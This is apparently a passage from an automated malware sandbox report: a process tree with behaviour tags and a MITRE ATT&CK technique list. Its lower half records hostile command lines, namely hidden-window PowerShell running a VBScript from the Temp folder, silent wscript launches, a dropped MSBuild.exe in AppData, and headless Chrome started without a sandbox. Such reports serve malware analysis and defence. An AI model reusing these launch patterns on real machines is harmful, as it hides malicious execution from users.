        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4956 -prefsLen 34878 -prefMapHandle 4968 -prefMapSize 270331 -ipcHandle 4976 -initialChannelId {70d80798-f5d7-4880-832e-a30b81484ad9} -parentPid 4948 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4948" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 utility
        8⤵
        Checks processor information in registry
        
        PID:5808
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5104 -prefsLen 32766 -prefMapHandle 5108 -prefMapSize 270331 -jsInitHandle 5112 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5092 -initialChannelId {c949d654-030b-46e6-b6c8-c0eb788d8c49} -parentPid 4948 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4948" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        8⤵
        Checks processor information in registry
        
        PID:4412
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5300 -prefsLen 32766 -prefMapHandle 5304 -prefMapSize 270331 -jsInitHandle 5308 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5316 -initialChannelId {e0f80dab-9b97-4691-bad5-7d8fc04bccd8} -parentPid 4948 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4948" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        8⤵
        Checks processor information in registry
        
        PID:6044
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5532 -prefsLen 32818 -prefMapHandle 5536 -prefMapSize 270331 -jsInitHandle 5540 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5548 -initialChannelId {18e082cf-7eff-4a04-80f9-977561d7640b} -parentPid 4948 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4948" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 14 tab
        8⤵
        Checks processor information in registry
        
        PID:4964
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fw3imdd4.3o2"
        6⤵
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:5896
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\fw3imdd4.3o2 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\fw3imdd4.3o2\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\fw3imdd4.3o2 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffe0db5dcf8,0x7ffe0db5dd04,0x7ffe0db5dd10
        7⤵
        
        PID:2616
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fw3imdd4.3o2" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2276,i,7583689162502295251,4831461735834644963,262144 --variations-seed-version --mojo-platform-channel-handle=2272 /prefetch:2
        7⤵
        
        PID:6344
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fw3imdd4.3o2" --field-trial-handle=2068,i,7583689162502295251,4831461735834644963,262144 --variations-seed-version --mojo-platform-channel-handle=2280 /prefetch:3
        7⤵
        
        PID:3940
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fw3imdd4.3o2" --field-trial-handle=2380,i,7583689162502295251,4831461735834644963,262144 --variations-seed-version --mojo-platform-channel-handle=2440 /prefetch:8
        7⤵
        
        PID:6920
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fw3imdd4.3o2" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3080,i,7583689162502295251,4831461735834644963,262144 --variations-seed-version --mojo-platform-channel-handle=3100 /prefetch:1
        7⤵
        
        PID:936
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fw3imdd4.3o2" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3104,i,7583689162502295251,4831461735834644963,262144 --variations-seed-version --mojo-platform-channel-handle=3112 /prefetch:1
        7⤵
        
        PID:1648
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fw3imdd4.3o2" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3492,i,7583689162502295251,4831461735834644963,262144 --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:1
        7⤵
        
        PID:2108
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fw3imdd4.3o2" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3500,i,7583689162502295251,4831461735834644963,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:2
        7⤵
        
        PID:2552
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fw3imdd4.3o2" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3592,i,7583689162502295251,4831461735834644963,262144 --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:1
        7⤵
        
        PID:5316
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fw3imdd4.3o2" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=3640,i,7583689162502295251,4831461735834644963,262144 --variations-seed-version --mojo-platform-channel-handle=3728 /prefetch:2
        7⤵
        
        PID:6712
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fw3imdd4.3o2" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4364,i,7583689162502295251,4831461735834644963,262144 --variations-seed-version --mojo-platform-channel-handle=4384 /prefetch:1
        7⤵
        
        PID:4524
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\fw3imdd4.3o2" --field-trial-handle=3636,i,7583689162502295251,4831461735834644963,262144 --variations-seed-version --mojo-platform-channel-handle=4108 /prefetch:8
        7⤵
        
        PID:3328
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5032 -s 3324
        6⤵
        Program crash
        
        PID:7008

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c Powershell.exe -WindowStyle hidden "& 'C:\Users\Admin\AppData\Local\Temp\xx2.vbs' "
1⤵
- Hide Artifacts: Hidden Window
- Suspicious use of WriteProcessMemory
PID:5156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell.exe -WindowStyle hidden "& 'C:\Users\Admin\AppData\Local\Temp\xx2.vbs' "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\xx2.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:5428
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden wscript.exe //b //nologo 'C:\Users\Admin\AppData\Local\Temp\%fOyRe%'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3584
    - - C:\Windows\system32\wscript.exe
        
        "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\Admin\AppData\Local\Temp\%fOyRe%
        5⤵
        
        PID:4364

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\MSBuild.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:536
- C:\Users\Admin\AppData\Roaming\MSBuild.exe
  C:\Users\Admin\AppData\Roaming\MSBuild.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 5032 -ip 5032
1⤵
PID:936

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Modify Registry

T1112

Credential Access

Discovery

Query Registry

System Information Discovery